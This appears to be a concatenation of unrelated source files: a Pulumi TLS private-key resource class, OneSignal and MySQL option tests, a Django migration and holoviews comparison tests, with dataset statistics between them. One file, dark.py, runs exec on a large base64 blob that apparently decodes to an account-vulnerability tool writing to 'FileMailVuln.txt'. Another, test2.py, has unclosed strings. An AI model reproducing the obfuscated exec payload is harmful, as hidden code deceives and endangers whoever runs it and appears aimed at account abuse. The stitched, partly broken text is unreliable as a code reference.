"P521", with "P224" as the default. :param pulumi.Input[int] rsa_bits: When `algorithm` is "RSA", the size of the generated RSA key in bits. Defaults to 2048. """ ... @overload def __init__(__self__, resource_name: str, args: PrivateKeyArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Create a PrivateKey resource with the given unique name, props, and options. :param str resource_name: The name of the resource. :param PrivateKeyArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(PrivateKeyArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, algorithm: Optional[pulumi.Input[str]] = None, ecdsa_curve: Optional[pulumi.Input[str]] = None, rsa_bits: Optional[pulumi.Input[int]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = PrivateKeyArgs.__new__(PrivateKeyArgs) if algorithm is None and not opts.urn: raise TypeError("Missing required property 'algorithm'") __props__.__dict__["algorithm"] = algorithm __props__.__dict__["ecdsa_curve"] = ecdsa_curve __props__.__dict__["rsa_bits"] = rsa_bits __props__.__dict__["private_key_pem"] = None __props__.__dict__["public_key_fingerprint_md5"] = None __props__.__dict__["public_key_openssh"] = None __props__.__dict__["public_key_pem"] = None super(PrivateKey, __self__).__init__( 'tls:index/privateKey:PrivateKey', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, algorithm: Optional[pulumi.Input[str]] = None, ecdsa_curve: Optional[pulumi.Input[str]] = None, private_key_pem: Optional[pulumi.Input[str]] = None, public_key_fingerprint_md5: Optional[pulumi.Input[str]] = None, public_key_openssh: Optional[pulumi.Input[str]] = None, public_key_pem: Optional[pulumi.Input[str]] = None, rsa_bits: Optional[pulumi.Input[int]] = None) -> 'PrivateKey': """ Get an existing PrivateKey resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] algorithm: The name of the algorithm to use for the key. Currently-supported values are "RSA" and "ECDSA". :param pulumi.Input[str] ecdsa_curve: When `algorithm` is "ECDSA", the name of the elliptic curve to use. May be any one of "P224", "P256", "P384" or "P521", with "P224" as the default. :param pulumi.Input[str] private_key_pem: The private key data in PEM format. :param pulumi.Input[str] public_key_fingerprint_md5: The md5 hash of the public key data in OpenSSH MD5 hash format, e.g. `aa:bb:cc:...`. Only available if the selected private key format is compatible, as per the rules for `public_key_openssh`. :param pulumi.Input[str] public_key_openssh: The public key data in OpenSSH `authorized_keys` format, if the selected private key format is compatible. All RSA keys are supported, and ECDSA keys with curves "P256", "P384" and "P521" are supported. This attribute is empty if an incompatible ECDSA curve is selected. :param pulumi.Input[str] public_key_pem: The public key data in PEM format. :param pulumi.Input[int] rsa_bits: When `algorithm` is "RSA", the size of the generated RSA key in bits. Defaults to 2048. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _PrivateKeyState.__new__(_PrivateKeyState) __props__.__dict__["algorithm"] = algorithm __props__.__dict__["ecdsa_curve"] = ecdsa_curve __props__.__dict__["private_key_pem"] = private_key_pem __props__.__dict__["public_key_fingerprint_md5"] = public_key_fingerprint_md5 __props__.__dict__["public_key_openssh"] = public_key_openssh __props__.__dict__["public_key_pem"] = public_key_pem __props__.__dict__["rsa_bits"] = rsa_bits return PrivateKey(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def algorithm(self) -> pulumi.Output[str]: """ The name of the algorithm to use for the key. Currently-supported values are "RSA" and "ECDSA". """ return pulumi.get(self, "algorithm") @property @pulumi.getter(name="ecdsaCurve") def ecdsa_curve(self) -> pulumi.Output[Optional[str]]: """ When `algorithm` is "ECDSA", the name of the elliptic curve to use. May be any one of "P224", "P256", "P384" or "P521", with "P224" as the default. """ return pulumi.get(self, "ecdsa_curve") @property @pulumi.getter(name="privateKeyPem") def private_key_pem(self) -> pulumi.Output[str]: """ The private key data in PEM format. """ return pulumi.get(self, "private_key_pem") @property @pulumi.getter(name="publicKeyFingerprintMd5") def public_key_fingerprint_md5(self) -> pulumi.Output[str]: """ The md5 hash of the public key data in OpenSSH MD5 hash format, e.g. `aa:bb:cc:...`. Only available if the selected private key format is compatible, as per the rules for `public_key_openssh`. """ return pulumi.get(self, "public_key_fingerprint_md5") @property @pulumi.getter(name="publicKeyOpenssh") def public_key_openssh(self) -> pulumi.Output[str]: """ The public key data in OpenSSH `authorized_keys` format, if the selected private key format is compatible. All RSA keys are supported, and ECDSA keys with curves "P256", "P384" and "P521" are supported. This attribute is empty if an incompatible ECDSA curve is selected. """ return pulumi.get(self, "public_key_openssh") @property @pulumi.getter(name="publicKeyPem") def public_key_pem(self) -> pulumi.Output[str]: """ The public key data in PEM format. """ return pulumi.get(self, "public_key_pem") @property @pulumi.getter(name="rsaBits") def rsa_bits(self) -> pulumi.Output[Optional[int]]: """ When `algorithm` is "RSA", the size of the generated RSA key in bits. Defaults to 2048. """ return pulumi.get(self, "rsa_bits")
43.9511
134
0.632677
2,256
17,976
4.808954
0.079344
0.067933
0.067103
0.062863
0.837773
0.808554
0.786801
0.762282
0.741082
0.722555
0
0.014962
0.267523
17,976
408
135
44.058824
0.808992
0.366767
0
0.591549
1
0
0.110664
0.022859
0
0
0
0
0
1
0.159624
false
0.004695
0.023474
0
0.28169
0.070423
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9e9780f49bc667e631d1b7e1c2de9815ac2670e5
131
py
Python
gbssl/__init__.py
junliangma/TextCategorization
5ae72db32ef8baa7084dc045f9497ec18b8a85ed
[ "MIT" ]
1
2021-01-17T02:37:27.000Z
2021-01-17T02:37:27.000Z
gbssl/__init__.py
junliangma/TextCategorization
5ae72db32ef8baa7084dc045f9497ec18b8a85ed
[ "MIT" ]
null
null
null
gbssl/__init__.py
junliangma/TextCategorization
5ae72db32ef8baa7084dc045f9497ec18b8a85ed
[ "MIT" ]
1
2020-08-25T00:57:14.000Z
2020-08-25T00:57:14.000Z
from .laplacian_rls import LapRLSC from .laplacian_svm import LapSVC from .linear_laplacian_rls import LinearLapRLSC
32.75
47
0.778626
16
131
6.125
0.5625
0.265306
0.367347
0
0
0
0
0
0
0
0
0
0.198473
131
3
48
43.666667
0.933333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
9ea1a3e2bf07c6f9bbae778d589b432ca4dc5a9b
9,810
py
Python
tests/test_client.py
iSWORD/onesignal_sdk
2f42e713bb5ef87da817e98550ad6fa3f8d2a9ea
[ "MIT" ]
null
null
null
tests/test_client.py
iSWORD/onesignal_sdk
2f42e713bb5ef87da817e98550ad6fa3f8d2a9ea
[ "MIT" ]
null
null
null
tests/test_client.py
iSWORD/onesignal_sdk
2f42e713bb5ef87da817e98550ad6fa3f8d2a9ea
[ "MIT" ]
null
null
null
import unittest from unittest import mock from tests.mocks import mock_requests_request import onesignal class ClientTest(unittest.TestCase): APP_ID = "123456" APP_AUTH_KEY = "KEYXXXKEY" USER_AUTH_KEY = "KEYXXXXKEY" def test_send_notification_without_key_fails(self): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID) post_body = { "contents": {"en": "Message", "tr": "Mesaj"} } notification = onesignal.Notification(post_body) with self.assertRaises(onesignal.error.OneSignalError): response = client.send_notification(notification) def test_send_notification_without_app_id_fails(self): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_auth_key=self.APP_AUTH_KEY) post_body = { "contents": {"en": "Message", "tr": "Mesaj"} } notification = onesignal.Notification(post_body) with self.assertRaises(onesignal.error.OneSignalError): response = client.send_notification(notification) @mock.patch("requests.request", side_effect=mock_requests_request( required_body=["app_id"], token=APP_AUTH_KEY )) def test_send_notification_has_app_id(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) post_body = { "contents": {"en": "Message", "tr": "Mesaj"} } notification = onesignal.Notification(post_body) response = client.send_notification(notification) self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( required_body=["app_id", "contents", "included_segments", "filters"], token=APP_AUTH_KEY )) def test_send_notification_has_post_body_params(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) post_body = { "contents": {"en": "Message", "tr": "Mesaj"} } notification = onesignal.Notification(post_body) notification.post_body["included_segments"] = ["Active Users", "Inactive Users"] notification.post_body["filters"] = [ {"field": "tag", "key": "level", "relation": "=", "value": "10"}, {"operator": "OR"}, {"field": "tag", "key": "level", "relation": "=", "value": "20"} ] response = client.send_notification(notification) self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( required_params=["app_id"], token=APP_AUTH_KEY )) def test_send_cancel_notification_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.cancel_notification("123") self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( required_params=["app_id"], token=APP_AUTH_KEY )) def test_view_notification_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.view_notification("123") self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( required_params=["app_id"], token=APP_AUTH_KEY )) def test_view_notifications_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.view_notifications() self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( token=USER_AUTH_KEY )) def test_view_app_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.view_app("123") self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( token=USER_AUTH_KEY )) def test_create_app_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.create_app({"name": "new_app"}) self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( token=USER_AUTH_KEY )) def test_update_app_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.update_app("123", {"name": "new_app"}) self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( token=USER_AUTH_KEY )) def test_view_apps_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.view_apps() self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( required_params=["app_id"], token=APP_AUTH_KEY )) def test_view_device_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.view_device("123") self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( required_body=["app_id"], token=APP_AUTH_KEY )) def test_create_device_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.create_device({"device_type": 2}) self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( token=APP_AUTH_KEY )) def test_update_device_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.update_device("132", {"device_type": 2}) self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( required_params=["app_id"], token=APP_AUTH_KEY )) def test_view_devices_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.view_devices() self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( required_params=["app_id"], token=APP_AUTH_KEY )) def test_csv_export_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.csv_export() self.assertEqual(response.status_code, 200) @mock.patch("requests.request", side_effect=mock_requests_request( required_body=["app_id"], token=APP_AUTH_KEY )) def test_track_open_is_successful(self, fake_request): client = onesignal.Client(user_auth_key=self.USER_AUTH_KEY, app_id=self.APP_ID, app_auth_key=self.APP_AUTH_KEY) response = client.track_open("123", {"opened": True}) self.assertEqual(response.status_code, 200)
41.218487
96
0.576656
1,059
9,810
4.96034
0.084042
0.110603
0.083762
0.080906
0.909956
0.893965
0.872835
0.872835
0.872835
0.860651
0
0.011892
0.331397
9,810
237
97
41.392405
0.788992
0
0
0.753769
0
0
0.066055
0
0
0
0
0
0.085427
1
0.085427
false
0
0.020101
0
0.125628
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9ead4598bdeb49e8931b849e06faee39167a578f
2,480
py
Python
plugins/holland.lib.mysql/tests/test_option.py
jkoelker/holland
b53497002b090db24fbbf0545c0683b4b727ab34
[ "BSD-3-Clause" ]
1
2019-06-06T01:07:34.000Z
2019-06-06T01:07:34.000Z
plugins/holland.lib.mysql/tests/test_option.py
jkoelker/holland
b53497002b090db24fbbf0545c0683b4b727ab34
[ "BSD-3-Clause" ]
null
null
null
plugins/holland.lib.mysql/tests/test_option.py
jkoelker/holland
b53497002b090db24fbbf0545c0683b4b727ab34
[ "BSD-3-Clause" ]
2
2015-12-04T12:17:59.000Z
2022-03-23T07:22:02.000Z
import tempfile import sys from nose.tools import * from holland.lib.mysql.option.legacy import OptionFile from holland.lib.mysql.option.base import load_options, write_options def test_load_options(): fileobj = tempfile.NamedTemporaryFile() print >>fileobj, "[client]" print >>fileobj, "user = root" print >>fileobj, 'password = "foo"barbaz"' print >>fileobj, 'single-transaction=1' print >>fileobj print >>fileobj, '[mysqldump]' print >>fileobj, 'master-data = 2' print >>fileobj fileobj.flush() fileobj.seek(0) config = load_options(fileobj.name) assert_equals(config['client']['user'], 'root') assert_equals(config['client']['password'], 'foo"barbaz') def test_write_options(): fileobj = tempfile.NamedTemporaryFile() print >>fileobj, "[client]" print >>fileobj, "user = root" print >>fileobj, 'password = "foo"barbaz"' print >>fileobj, '[mysqldump]' print >>fileobj, 'master-data = 2' print >>fileobj fileobj.flush() fileobj.seek(0) config = load_options(fileobj.name) write_options(config, fileobj.name) def test_load_options_with_errors(): fileobj = tempfile.NamedTemporaryFile() print >>fileobj, "[client]" print >>fileobj, "user = root" print >>fileobj, 'password = "foo"barbaz"' print >>fileobj, 'single-transaction=1' print >>fileobj print >>fileobj, '[mysqldump]' print >>fileobj, 'master-data = 2' # ConfigObj won't support bare options like these # check that load_options skip them cleanly print >>fileobj, 'skip-dump-data' print >>fileobj, 'skip-lock-tables' print >>fileobj fileobj.flush() fileobj.seek(0) config = load_options(fileobj.name) # configobj is quirky and will raise ParseError w/ one error # and ConfigObjError w/ a errors attribute when there are # multiple errors. Let's test that we handle this def test_load_options_with_one_error(): fileobj = tempfile.NamedTemporaryFile() print >>fileobj, "[client]" print >>fileobj, "user = root" print >>fileobj, 'password = "foo"barbaz"' print >>fileobj, 'single-transaction=1' print >>fileobj print >>fileobj, '[mysqldump]' print >>fileobj, 'master-data = 2' # ConfigObj won't support bare options like these # check that load_options skip them cleanly print >>fileobj, 'skip-lock-tables' print >>fileobj fileobj.flush() fileobj.seek(0) config = load_options(fileobj.name)
31.794872
69
0.679032
300
2,480
5.533333
0.263333
0.238554
0.054217
0.091566
0.773494
0.716867
0.716867
0.716867
0.716867
0.716867
0
0.005481
0.190726
2,480
77
70
32.207792
0.821624
0.138306
0
0.786885
0
0
0.195397
0
0
0
0
0
0.032787
1
0.065574
false
0.081967
0.081967
0
0.147541
0.540984
0
0
0
null
1
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
1
0
9
7b7ae30e58e6a3e25cd0f4b13bab575b64b4ffdb
44
py
Python
pyram/gsf/__init__.py
Hoseung/pyRamAn
f9386fa5a9f045f98590039988d3cd50bc488dc2
[ "MIT" ]
1
2021-11-25T16:11:56.000Z
2021-11-25T16:11:56.000Z
pyram/gsf/__init__.py
Hoseung/pyRamAn
f9386fa5a9f045f98590039988d3cd50bc488dc2
[ "MIT" ]
6
2020-02-17T13:44:43.000Z
2020-06-25T15:35:05.000Z
pyram/gsf/__init__.py
Hoseung/pyRamAn
f9386fa5a9f045f98590039988d3cd50bc488dc2
[ "MIT" ]
1
2021-11-25T16:11:56.000Z
2021-11-25T16:11:56.000Z
from gsf import gsf from gsf import twobody
14.666667
23
0.818182
8
44
4.5
0.5
0.388889
0.722222
0
0
0
0
0
0
0
0
0
0.181818
44
2
24
22
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
7babd867e24ba5cf6d2258ece9e11eba11ec489a
43,648
py
Python
dark.py
heri2610/New-Elite
15be2bfea27f6349de3971cf8c50c19312d7d85f
[ "Apache-2.0" ]
null
null
null
dark.py
heri2610/New-Elite
15be2bfea27f6349de3971cf8c50c19312d7d85f
[ "Apache-2.0" ]
null
null
null
dark.py
heri2610/New-Elite
15be2bfea27f6349de3971cf8c50c19312d7d85f
[ "Apache-2.0" ]
null
null
null
import base64 exec(base64.b64decode('IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KCgppbXBvcnQgb3Msc3lzLHRpbWUsZGF0ZXRpbWUscmFuZG9tLGhhc2hsaWIscmUsdGhyZWFkaW5nLGpzb24sdXJsbGliLGNvb2tpZWxpYixyZXF1ZXN0cyxtZWNoYW5pemUKZnJvbSBtdWx0aXByb2Nlc3Np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GphbGFuKHopOgoJZm9yIGUgaW4geiArICdcbic6CgkJc3lzLnN0ZG91dC53cml0ZShlKQoJCXN5cy5zdGRvdXQuZmx1c2goKQoJCXRpbWUuc2xlZXAoMC4wNSkKCQkKbG9nbyA9ICIgXG5cMDMzWzE7OTdt4paI4paI4paI4paI4paI4paI4paI4paI4paIXG5cMDMzWzE7OTdt4paI4paE4paI4paI4paI4paI4paI4paE4paIICAgICAgXDAzM1sxOzk2beKXj+KWrOKWrOKWrOKWrOKWrOKWrOKWrOKWrOKWrOC5kfCflLHguZHilqzilqzilqzilqzilqzilqzilqzilqzil49cblwwMzNbMTs5N23ilohcMDMzWzE7OTFt4pa84pa84pa84pa84pa8IFwwMzNbMTs5N20tIF8gLS1fLS1cMDMzWzE7OTJt4pWU4pWm4pWX4pSM4pSA4pSQ4pSs4pSA4pSQ4pSs4pSM4pSAICAg4pWU4pWQ4pWX4pWU4pWXIFxuXDAzM1sxOzk3beKWiCBcMDMzWzE7OTdtIFwwMzNbMTs5N21fLV8tLSAtXyAtLV9fXDAzM1sxOzkybSDilZHilZHilJzilIDilKTilJzilKzilJjilJzilLTilJDilIDilIDilIDilaDilaMg4pWg4pWp4pWXXG5cMDMzWzE7OTdt4paIXDAzM1sxOzkxbeKWsuKWsuKWsuKWsuKWslwwMzNbMTs5N20tLSAgLSBfIC0tXDAzM1sxOzkybeKVkOKVqeKVneKUtCDilLTilLTilJTilIDilLQg4pS0ICAg4pWaICDilZrilZDilZ0gXDAzM1sxOzkzbUVMSVRFIHYxLjJcblwwMzNbMTs5N23ilojilojilojilojilojilojilojilojiloggICAgICBcMDMzWzE7OTZt4peP4pas4pas4pas4pas4pas4pas4pas4pas4pas4LmR8J+UseC5keKWrOKWrOKWrOKWrOKWrOKWrOKWrOKWrOKXj1xuXDAzM1sxOzk3bSDilojilogg4paI4paIXG5cMDMzWzE7OTdt4pWU4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ4pWQ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wMzNbMTs5Nm09IgoJcHJpbnQgJ1wwMzNbMTs5Nm1bXDAzM1sxOzk3beKck1wwMzNbMTs5Nm1dIFwwMzNbMTs5Mm1TZWxlc2FpIFwwMzNbMTs5N20uLi4uJwoJcHJpbnQiXDAzM1sxOzk2bVsrXSBcMDMzWzE7OTJtVG90YWwgXDAzM1sxOzkxbTogXDAzM1sxOzk3bSIrc3RyKGxlbihiZXJoYXNpbCkpCglwcmludCJcMDMzWzE7OTZtWytdIFwwMzNbMTs5Mm1GaWxlIFRlcnNpbXBhbiBcMDMzWzE7OTFtOlwwMzNbMTs5N20gb3V0L0ZpbGVNYWlsVnVsbi50eHQiCglyYXdfaW5wdXQoIlxuXDAzM1sxOzk2bVtcMDMzWzE7OTdtS2VtYmFsaVwwMzNbMTs5Nm1dIikKCW1lbnUoKQoJCiAgICAgICAKCQkKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKCXNpYXBhKCkK'))
21,824
43,634
0.998877
46
43,648
947.804348
0.913043
0
0
0
0
0
0
0
0
0
0
0.110182
0.000046
43,648
2
43,634
21,824
0.888741
0
0
0
0
0.5
0.999061
0.999061
0
1
0
0
0
1
0
true
0
0.5
0
0.5
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
1
0
0
0
0
0
1
1
1
null
1
0
0
0
0
0
1
0
1
0
0
0
0
10
7bce7dd5631d2c4d2f6f2034dcd88d83e636fe98
145
py
Python
test2.py
11Domino/TEST
01a52c35025378f87349bcd058cdc8f96ff2e53a
[ "Apache-2.0" ]
null
null
null
test2.py
11Domino/TEST
01a52c35025378f87349bcd058cdc8f96ff2e53a
[ "Apache-2.0" ]
null
null
null
test2.py
11Domino/TEST
01a52c35025378f87349bcd058cdc8f96ff2e53a
[ "Apache-2.0" ]
null
null
null
print('this is a test file.) print('this is a test file.) print('this is a test file.) print('this is a test file.) print('this is a test file.)
24.166667
28
0.689655
30
145
3.333333
0.2
0.45
0.55
0.6
1
1
1
1
1
1
0
0
0.172414
145
5
29
29
0.833333
0
0
1
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
1
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
1
0
13
c89bfc0b69afe9f153933e0b7a33bb9478618a88
3,076
py
Python
netbox/dcim/migrations/0107_component_labels.py
esljaz/netbox
e7f64334c06748b4b85c54d881f5e2b03b9463b5
[ "Apache-2.0" ]
2
2021-06-02T03:00:05.000Z
2021-07-30T18:52:32.000Z
netbox/dcim/migrations/0107_component_labels.py
emersonfelipesp/netbox
fecca5ad83fb6b48a2f15982dfd3242653f105f9
[ "Apache-2.0" ]
25
2019-09-17T19:40:50.000Z
2022-03-11T04:01:55.000Z
netbox/dcim/migrations/0107_component_labels.py
emersonfelipesp/netbox
fecca5ad83fb6b48a2f15982dfd3242653f105f9
[ "Apache-2.0" ]
1
2018-12-05T12:03:21.000Z
2018-12-05T12:03:21.000Z
from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('dcim', '0106_role_default_color'), ] operations = [ migrations.AddField( model_name='consoleport', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='consoleporttemplate', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='consoleserverport', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='consoleserverporttemplate', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='devicebay', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='devicebaytemplate', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='frontport', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='frontporttemplate', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='interface', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='interfacetemplate', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='inventoryitem', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='poweroutlet', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='poweroutlettemplate', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='powerport', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='powerporttemplate', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='rearport', name='label', field=models.CharField(blank=True, max_length=64), ), migrations.AddField( model_name='rearporttemplate', name='label', field=models.CharField(blank=True, max_length=64), ), ]
31.71134
62
0.547789
272
3,076
6.058824
0.158088
0.18568
0.237257
0.278519
0.767597
0.767597
0.767597
0.767597
0.767597
0.767597
0
0.018582
0.335176
3,076
96
63
32.041667
0.787286
0
0
0.73913
0
0
0.11541
0.015605
0
0
0
0
0
1
0
false
0
0.01087
0
0.043478
0
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
cdc83d57f0dc991297e855ec43637ddbb1ae153d
4,823
py
Python
holoviews/tests/element/test_comparisoncomposite.py
TheoMathurin/holoviews
0defcef994d6dd6d2054f75a0e332d02d121f8b0
[ "BSD-3-Clause" ]
864
2019-11-13T08:18:27.000Z
2022-03-31T13:36:13.000Z
holoviews/tests/element/test_comparisoncomposite.py
chrinide/holoviews
e1234a60ae0809ac561c204b1998dff0452b2bf0
[ "BSD-3-Clause" ]
1,117
2019-11-12T16:15:59.000Z
2022-03-30T22:57:59.000Z
holoviews/tests/element/test_comparisoncomposite.py
chrinide/holoviews
e1234a60ae0809ac561c204b1998dff0452b2bf0
[ "BSD-3-Clause" ]
180
2019-11-19T16:44:44.000Z
2022-03-28T22:49:18.000Z
""" Test cases for the Comparisons class over the composite types: Layout (the + operator) Overlay (the * operator) HoloMaps are not tested in this file. """ from holoviews import Element from holoviews.element.comparison import ComparisonTestCase class CompositeComparisonTestCase(ComparisonTestCase): def setUp(self): self.el1 = Element('data1') self.el2 = Element('data2') self.el3 = Element('data3') self.el4 = Element('data5', group='ValB') self.el5 = Element('data6', label='LabelA') #========================# # Tests for layout trees # #========================# def test_layouttree_comparison_equal(self): t1 = self.el1 + self.el2 t2 = self.el1 + self.el2 self.assertEqual(t1, t2) def test_layouttree_comparison_equal_large(self): t1 = self.el1 + self.el2 + self.el4 + self.el5 t2 = self.el1 + self.el2 + self.el4 + self.el5 self.assertEqual(t1, t2) def test_layouttree_comparison_unequal_data(self): t1 = self.el1 + self.el2 t2 = self.el1 + self.el3 try: self.assertEqual(t1, t2) except AssertionError as e: self.assertEqual(str(e),"'data2' != 'data3'") def test_layouttree_comparison_unequal_paths(self): t1 = self.el1 + self.el2 t2 = self.el1 + self.el2.relabel(group='ValA') try: self.assertEqual(t1, t2) except AssertionError as e: self.assertEqual(str(e), 'Layouts have mismatched paths.') def test_layouttree_comparison_unequal_sizes(self): t1 = self.el1 + self.el2 t2 = self.el1 + self.el2 + self.el3 try: self.assertEqual(t1, t2) except AssertionError as e: self.assertEqual(str(e), 'Layouts have mismatched path counts.') #=============================# # Matching tests for Overlays # #=============================# def test_overlay_comparison_equal(self): t1 = self.el1 * self.el2 t2 = self.el1 * self.el2 self.assertEqual(t1, t2) def test_overlay_comparison_equal_large(self): t1 = self.el1 * self.el2 * self.el3 * self.el4 t2 = self.el1 * self.el2 * self.el3 * self.el4 self.assertEqual(t1, t2) def test_overlay_comparison_unequal_data(self): t1 = self.el1 * self.el2 t2 = self.el1 * self.el3 try: self.assertEqual(t1, t2) except AssertionError as e: self.assertEqual(str(e),"'data2' != 'data3'") def test_overlay_comparison_unequal_paths(self): t1 = self.el1 * self.el2 t2 = self.el1 * self.el2.relabel(group='ValA') try: self.assertEqual(t1, t2) except AssertionError as e: self.assertEqual(str(e), 'Overlays have mismatched paths.') def test_overlay_comparison_unequal_sizes(self): t1 = self.el1 * self.el2 t2 = self.el1 * self.el2 * self.el3 try: self.assertEqual(t1, t2) except AssertionError as e: self.assertEqual(str(e), 'Overlays have mismatched path counts.') #==================================# # Mixed composite comparison tests # #==================================# def test_composite_comparison_equal(self): t1 = (self.el1 * self.el2) + (self.el1 * self.el2) t2 = (self.el1 * self.el2) + (self.el1 * self.el2) self.assertEqual(t1, t2) def test_composite_unequal_data(self): t1 = (self.el1 * self.el2) + (self.el1 * self.el2) t2 